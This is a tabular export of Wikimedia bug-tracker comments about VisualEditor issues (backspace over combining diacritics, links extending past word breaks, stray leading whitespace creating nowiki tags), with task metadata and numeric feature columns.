https://gerrit.wikimedia.org/r/80689",,,1385506391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

GERRIT_URL"
250118,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Change 80689 had a related patch set uploaded by Divec:
DONTMERGE:Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1384946958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9583333333333334,"Change 80689 had a related patch set uploaded by Divec:
DONTMERGE:Revert model to use simple UTF-16 code units

GERRIT_URL"
250110,VisualEditor: Backspace deletes combined character clusters together with diacritics,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.,,,1381269293,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8095238095238095,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.
250100,VisualEditor: Backspace deletes combined character clusters together with diacritics,"This is how we expect backspace to work with our current support of grapheme clusters. As Denis points out, being able to delete combining marks separately would have to be enabled on a per script basis, as we wouldn't want to require multiple keystrokes to remove e-acute, or a Jamo-constructed Hangul character.",,,1374161590,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.225806451612903,0.8225806451612904,"This is how we expect backspace to work with our current support of grapheme clusters. As Denis points out, being able to delete combining marks separately would have to be enabled on a per script basis, as we wouldn't want to require multiple keystrokes to remove e-acute, or a Jamo-constructed Hangul character."
250091,VisualEditor: Backspace deletes combined character clusters together with diacritics,"(In reply to comment #1)
> Could this be a dupe of -
> https://bugzilla.wikimedia.org/show_bug.cgi?id=49233  ?

Well, that one is marked as FIXED, and this one is definitely not fixed on master.",,,1374132914,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15625,0.84375,"(In reply to comment #1)
QUOTE
QUOTE

Well, that one is marked as FIXED, and this one is definitely not fixed on master."
250081,VisualEditor: Backspace deletes combined character clusters together with diacritics,"The expected behaviour of backspace can be different with different writing systems.

In Indic scripts, as explained in the bug description, the most common behaviour is that backspace should erase one characters and delete should erase a cluster. See http://publib.boulder.ibm.com/infocenter/hodhelp/v10r0/topic/com.ibm.hod.doc/help/hindi.html#hindispecialkeys
http://www-archive.mozilla.org/projects/ctl/tests/#indiceditoper

For other scripts it might be different, particularly for Latin, Greek and Cyrillic where, because of the precomposed accented characters, it is expected that characters and character sequences (base character + combining diacritic) that represent units will behave the same way, i.e. backspace and delete erase the base and diacritic, for example the single character à and the two characters ɛ̀ should be treated the same way.

http://www.unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries talks about this.",,,1374131873,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.5,0.0,10.0,1.5,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,8.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,2.0,2.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.0,19.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,3.0,6.0,2.5,5.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,2.0,8.0,1.5,0.0,0.0,0.0,2.0,0.0,1.5,0.5,0.0,1.0,0.0,0.5,1.0,4.653846153846153,0.7153846153846154,"The expected behaviour of backspace can be different with different writing systems.

In Indic scripts, as explained in the bug description, the most common behaviour is that backspace should erase one characters and delete should erase a cluster. See URL
URL

For other scripts it might be different, particularly for Latin, Greek and Cyrillic where, because of the precomposed accented characters, it is expected that characters and character sequences (base character + combining diacritic) that represent units will behave the same way, i.e. backspace and delete erase the base and diacritic, for example the single character à and the two characters ɛ̀ should be treated the same way.

URL talks about this."
250071,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Could this be a dupe of -
https://bugzilla.wikimedia.org/show_bug.cgi?id=49233  ?",,,1374125163,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.272727272727273,1.0,"Could this be a dupe of -
URL  ?"
53463,VisualEditor: Don't extend links over wordbreaks,"With bug 49931 we currently extend link annotations when typing at the end. This makes it very difficult to type plain text after a link at the end of a paragraph.

We should change the logic to stop extending the annotation once a character is added that produces a new wordbreak.

There may be some odd cases as wordbreak logic can depend on more that two characters, e.g. a' has a wordbreak but a's doesn't, so trying to add ""'s"" to the end of a link label would break after the ""'"" even though it wouldn't if ""'s"" was added as one operation.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51442",High,80.0,1374001860,1374677110.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_description,resolved,True,c1,3,True,False,True,2,,0.5,0.0,0.5,1.0,1.5,4.0,0.5,0.0,0.5,0.5,1.5,2.5,0.0,0.0,0.5,1.0,0.0,5.5,10.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,4.0,0.5,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,8.0,1.5,5.5,3.0,0.5,9.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,2.0,10.0,0.0,0.0,5.5,0.0,2.0,0.0,1.0,4.5,0.0,1.5,0.5,0.0,0.0,3.5734234234234235,0.683963963963964,"With bug 49931 we currently extend link annotations when typing at the end. This makes it very difficult to type plain text after a link at the end of a paragraph.

We should change the logic to stop extending the annotation once a character is added that produces a new wordbreak.

There may be some odd cases as wordbreak logic can depend on more that two characters, e.g. a' has a wordbreak but a's doesn't, so trying to add ""'s"" to the end of a link label would break after the ""'"" even though it wouldn't if ""'s"" was added as one operation.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
249675,VisualEditor: Don't extend links over wordbreaks,*** Bug 51531 has been marked as a duplicate of this bug. ***,,,1374679397,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51531 has been marked as a duplicate of this bug. ***
249667,VisualEditor: Don't extend links over wordbreaks,Fixed and will get deployed in a few minutes.,,,1374677110,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,True,,,3,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Fixed and will get deployed in a few minutes.
249660,VisualEditor: Don't extend links over wordbreaks,"Change 74168 merged by jenkins-bot:
Split continued link annotations on wordbreaks

https://gerrit.wikimedia.org/r/74168",,,1374677027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 74168 merged by jenkins-bot:
Split continued link annotations on wordbreaks

GERRIT_URL"
249654,VisualEditor: Don't extend links over wordbreaks,"Change 74168 had a related patch set uploaded by Esanders:
[WIP] Split continued link annotations on wordbreaks

https://gerrit.wikimedia.org/r/74168",,,1374076760,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.695652173913044,1.0,"Change 74168 had a related patch set uploaded by Esanders:
[WIP] Split continued link annotations on wordbreaks

GERRIT_URL"
53462,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"See, for example, https://en.wikipedia.org/w/index.php?title=Peaches_Does_Herself&diff=prev&oldid=564544238 and https://en.wikipedia.org/w/index.php?title=Carl_Rogers&diff=prev&oldid=564544061 - this is kinda a problem.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T53509}",High,80.0,1374001560,1377800127.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2,0.5777777777777777,"See, for example, URL and URL - this is kinda a problem.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T53509}"
249632,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"(In reply to comment #12)
> Reopening as this is still happening:
> first nowiki after line 133 in
> https://en.wikipedia.org/w/index.
> php?title=Pet&diff=570614739&oldid=570586939 .

That's almost certainly using a cached version of the code; I can't reproduce that on Chrome/Firefox/Safari/Opera on Mac or Linux.

(In reply to comment #13)
> I am also filing a related common problem we meet at it.wp.
> If this is not the right place, just tell me and I'll copy/paste my report
> elsewhere.

Yeah, if you could file this as a new bug please - this is not related to removing whitespace from the start of paragraphs.",,,1377800127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,20.0,2.0,1.0,8.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,2.0,15.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3820224719101124,0.6629213483146067,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE

That's almost certainly using a cached version of the code; I can't reproduce that on Chrome/Firefox/Safari/Opera on Mac or Linux.

(In reply to comment #13)
QUOTE
QUOTE
QUOTE

Yeah, if you could file this as a new bug please - this is not related to removing whitespace from the start of paragraphs."
249627,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"I am also filing a related common problem we meet at it.wp.
If this is not the right place, just tell me and I'll copy/paste my report elsewhere.

We had troubles with nowikis being thrown right after some templates when the user did not add an extra space there, but simply edited something in that page. See https://it.wikipedia.org/w/index.php?title=Wikipedia&diff=61171396&oldid=61171228 .

We actually found a workaround for this: https://it.wikipedia.org/w/index.php?title=Template:Quote&curid=224372&diff=61173726&oldid=60749506 but since this addition is apparently a nonsense, users demand that VE prevents that behaviour instead.

They also think this is related to templates featuring some kind of table.

I did some tests as well.
I was able to reproduce an unwanted situation where the first line and the table (which is actually a template) were mingled in a non-editable block https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61181542&oldid=61181524 .

But I was also able to avoid nowikis, even if the extra span tags were not added to the template: as you can see here https://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Sandbox_VE&diff=prev&oldid=61181473, if the first letter of the line is actually closer to the template's final brace (with no space between), VEditing that page will result in the text getting automatically placed in a better position, and no nowikis in sight, even after multiple saves of the page.

Thanks.",,,1377772919,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,8,,1.0,0.3333333333333333,0.0,1.3333333333333333,1.0,6.0,2.0,0.0,0.0,1.3333333333333333,3.0,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,8.666666666666666,10.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,3.6666666666666665,1.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,14.666666666666666,1.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,7.0,4.0,6.333333333333333,2.6666666666666665,2.0,11.666666666666666,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,2.6666666666666665,0.3333333333333333,1.6666666666666667,1.0,0.0,0.0,3.88707805907173,0.7686708860759494,"I am also filing a related common problem we meet at it.wp.
If this is not the right place, just tell me and I'll copy/paste my report elsewhere.

We had troubles with nowikis being thrown right after some templates when the user did not add an extra space there, but simply edited something in that page. See URL .

We actually found a workaround for this: URL but since this addition is apparently a nonsense, users demand that VE prevents that behaviour instead.

They also think this is related to templates featuring some kind of table.

I did some tests as well.
I was able to reproduce an unwanted situation where the first line and the table (which is actually a template) were mingled in a non-editable block URL .

But I was also able to avoid nowikis, even if the extra span tags were not added to the template: as you can see here URL if the first letter of the line is actually closer to the template's final brace (with no space between), VEditing that page will result in the text getting automatically placed in a better position, and no nowikis in sight, even after multiple saves of the page.

Thanks."
249623,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Reopening as this is still happening:
first nowiki after line 133 in https://en.wikipedia.org/w/index.php?title=Pet&diff=570614739&oldid=570586939 .",,,1377770479,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.875,1.0,"Reopening as this is still happening:
first nowiki after line 133 in URL ."
249618,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Now fixed in the code; next scheduled deployment is not until 15 August,
however. :-(",,,1375475243,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.789473684210526,1.0,"Now fixed in the code; next scheduled deployment is not until 15 August,
however. :-("
249615,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Change 77287 merged by jenkins-bot:
Remove inserted leading whitespace

https://gerrit.wikimedia.org/r/77287",,,1375470233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,1.0,"Change 77287 merged by jenkins-bot:
Remove inserted leading whitespace

GERRIT_URL"
249613,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"So I just implemented a fix for this, but it broke a test that asserts that whitespace inside a pre is untouched. I'll put it a check for <pre> elements but we should be aware that this is broken, because any element can have white-space:pre attached to it, e.g.

<span style=""white-space:pre"">    Foo</span>

Will now normalise to

<span style=""white-space:pre"">Foo</span>

Long term we should look into just warning the user.",,,1375449067,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,1.0,0.0,0.0,1.0,0.0,4.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,9.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,3.0,1.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,1.0,1.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,6.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,9.0,7.0,0.0,1.0,0.0,7.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,7.0,3.676767676767677,0.6161616161616161,"So I just implemented a fix for this, but it broke a test that asserts that whitespace inside a pre is untouched. I'll put it a check for <pre> elements but we should be aware that this is broken, because any element can have white-space:pre attached to it, e.g.

<span style=""white-space:pre"">    Foo</span>

Will now normalise to

<span style=""white-space:pre"">Foo</span>

Long term we should look into just warning the user."
249611,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Change 77287 had a related patch set uploaded by Esanders:
[WIP] Remove inserted leading whitepsace

https://gerrit.wikimedia.org/r/77287",,,1375443506,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,4.666666666666667,1.0,"Change 77287 had a related patch set uploaded by Esanders:
[WIP] Remove inserted leading whitepsace

GERRIT_URL"
249608,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"(In reply to comment #5)
> With bug 50841 we now convert 
> 
> [space]Foo
> 
> to
> 
> <nowiki> </nowiki>Foo
> 
> (previously <nowiki> Foo</nowiki>)
> 
> This is the correct behaviour.

Also, with gerrit 76223 VisualEditor users can now edit through <nowiki>s transparently.

> Perhaps this, and other whitespace issues (e.g. double
> spaces), should be flagged up to the user (with a wiggle underline?)

